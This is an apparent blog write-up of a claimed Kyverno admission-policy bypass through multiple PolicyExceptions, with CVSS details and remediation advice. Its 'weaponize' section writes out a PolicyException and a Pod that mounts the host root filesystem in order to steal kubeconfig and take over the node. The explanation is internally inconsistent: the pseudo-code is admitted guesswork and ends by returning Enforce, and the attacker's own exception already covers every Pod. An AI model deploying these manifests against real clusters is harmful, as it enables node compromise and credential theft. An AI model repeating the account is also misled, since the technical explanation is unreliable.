Feb 26, 2026·6 min read·10 visits
Kyverno versions 1.9.0 through 1.12.7 contain a logic bug where defining multiple PolicyExceptions for a single policy causes the enforcement engine to fail open. Attackers with permissions to create exceptions (or leverage existing ones) can bypass critical security controls.
A critical logic flaw in the Kyverno policy engine for Kubernetes allows attackers to completely bypass security policies by introducing multiple overlapping PolicyException resources. This vulnerability essentially turns the 'most restrictive' security model on its head, permitting malicious payloads (like hostPath mounts) simply because the admission controller gets confused by the presence of a second exception.
Kubernetes policy management is usually a choice between learning the esoteric arts of Rego (OPA Gatekeeper) or using something that feels more 'native' like Kyverno. Kyverno is popular because it's just YAML. You write a policy, you apply it, and suddenly your developers can't deploy containers running as root. It feels safe. It feels warm. But here's the cold, hard truth: complexity in security tools is like gravity—it's always there, pulling you down.
GHSA-GG4X-FGG2-H9W9 is a beautiful disaster in logic. It attacks the very mechanism designed to make life easier: the PolicyException. In the real world, absolute security is impossible, so we build backdoors for the admins—exceptions. "Block all root containers... except for the monitoring agent." It sounds reasonable until you realize that how the engine counts those exceptions matters more than the policy itself.
This isn't a buffer overflow. There's no shellcode here. This is purely a failure of the admission controller to make up its mind when faced with two contradictory or overlapping instructions. It's the digital equivalent of asking Mom for permission, getting a 'No', then asking Dad, and while they argue, you walk out the door with the car keys.
The vulnerability lies in how Kyverno (versions 1.9.0 to 1.12.7) evaluates PolicyException resources when the cluster is in enforce mode. The logic was designed to check if a pending resource request matches an exception. If it does, the blocking policy is skipped. Simple, right?
The problem arises when multiple exceptions apply to the context. In a robust system, the logic should be: "If any valid exception fully covers this request, allow it. Otherwise, enforce the policy." However, Kyverno's aggregation logic had a short-circuit flaw. When multiple exceptions were present—perhaps one specific exception for a namespace and another global exception, or two overlapping exceptions—the engine's evaluation loop became inconsistent.
Specifically, the presence of a second PolicyException could effectively 'dilute' the enforcement. The engine might evaluate the first exception (which doesn't match the attacker's payload), but the mere processing of the second exception—even if it was broadly defined or unrelated—could trigger a state where the original policy enforcement was skipped. It's a classic race condition of logic, not time. The engine sees two potential paths to 'allow' and somehow forgets to check the 'deny' gate effectively.
While the exact diff is masked behind the massive v1.13.0 release, the conceptual failure looks like a breakdown in the boolean logic of the admission chain. Imagine a simplified pseudo-code block representing the vulnerable logic:
// Vulnerable Logic Pattern
func checkExceptions(policy Policy, resource Resource, exceptions []Exception) Decision {
for _, ex := range exceptions {
if match(ex, resource) {
return Allow // Short-circuit on first match
}
// ... internal state confusion ...
}
// If the loop completes with multiple partial matches,
// older versions sometimes defaulted unsafe.
return Enforce
}The critical issue is the Incomplete Aggregation. If Exception A is restrictive (e.g., "Allow image X in namespace Y") and Exception B is loose or malformed, the evaluator might prioritize the less restrictive path or fail to apply the specific constraints of the policy because the existence of Exception B effectively resets the validation context.
The fix in v1.13.0 rewrites this aggregation. It likely enforces a strict 'deny-by-default' unless a specific, unambiguous exception allows the action, regardless of how many other irrelevant exceptions exist in the cluster. They moved from a fuzzy match list to a strict validation chain.
Let's weaponize this. Assume you are an attacker with edit rights in a namespace, but the cluster admin has locked down everything with a strict disallow-host-path policy. You want to mount /etc/kubernetes from the host to steal the admin's kubeconfig.
disallow-host-path (Enforce mode).exception-monitoring to let Datadog mount host paths.If you have permissions to create PolicyException resources (which is often overlooked in RBAC), or if you can manipulate labels to match a second dormant exception:
Inject the Noise: Create a second PolicyException named exception-bypass-attempt. This exception doesn't even need to be perfectly crafted to match your payload. It just needs to target the same policy.
apiVersion: kyverno.io/v2alpha1
kind: PolicyException
metadata:
name: exception-bypass-attempt
namespace: default
spec:
exceptions:
- policyName: disallow-host-path
ruleNames: ["host-path"]
match:
any:
- resources:
kinds:
- PodTrigger the Logic Flaw: Deploy your malicious Pod.
apiVersion: v1
kind: Pod
metadata:
name: pwn-host
spec:
containers:
- name: shell
image: ubuntu
volumeMounts:
- mountPath: /host
name: host-root
volumes:
- name: host-root
hostPath:
path: /Execution: The Admission Controller sees the policy disallow-host-path. It checks for exceptions. It sees exception-monitoring (no match) AND exception-bypass-attempt. Due to the double exception flaw, the admission controller falters, defaults to Allow, and your Pod schedules. You now have root access to the node.
A CVSS score of 9.1 isn't handed out lightly. The impact here is Integrity and Confidentiality collapse. If a policy engine cannot enforce policies, it is worse than useless—it gives a false sense of security.
Scope Change (S:C) is the kicker here. By exploiting this in one namespace, I can deploy a privileged container that compromises the underlying Node. Once I compromise the Node, I can potentially steal secrets from other namespaces, access the cloud metadata service (IMDS), or pivot to the control plane.
This vulnerability renders your entire PodSecurityStandard implementation void. If you relied on Kyverno to enforce PCI-DSS compliance (e.g., preventing privileged containers), you are now non-compliant. The vulnerability doesn't require complex memory manipulation or race conditions; it just requires the Kubernetes API and the ability to confuse the referee.
There is no clever configuration hack to fix a binary logic error. You need to replace the brain of the operation.
kubectl get policyexceptions -Acreate/update permissions on policyexceptions.kyverno.io. This resource is as powerful as ClusterRoleBinding and should be guarded just as jealously.CVSS:3.1/AV:A/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H| Product | Affected Versions | Fixed Version |
|---|---|---|
Kyverno Kyverno | >= 1.9.0, <= 1.12.7 | 1.13.0 |
| Attribute | Detail |
|---|---|
| Attack Vector | Adjacent Network (Kubernetes API) |
| CVSS Score | 9.1 (Critical) |
| CWE | CWE-693 (Protection Mechanism Failure) |
| Impact | Security Policy Bypass |
| Exploit Status | PoC Available |
| Affected Versions | v1.9.0 - v1.12.7 |
Protection Mechanism Failure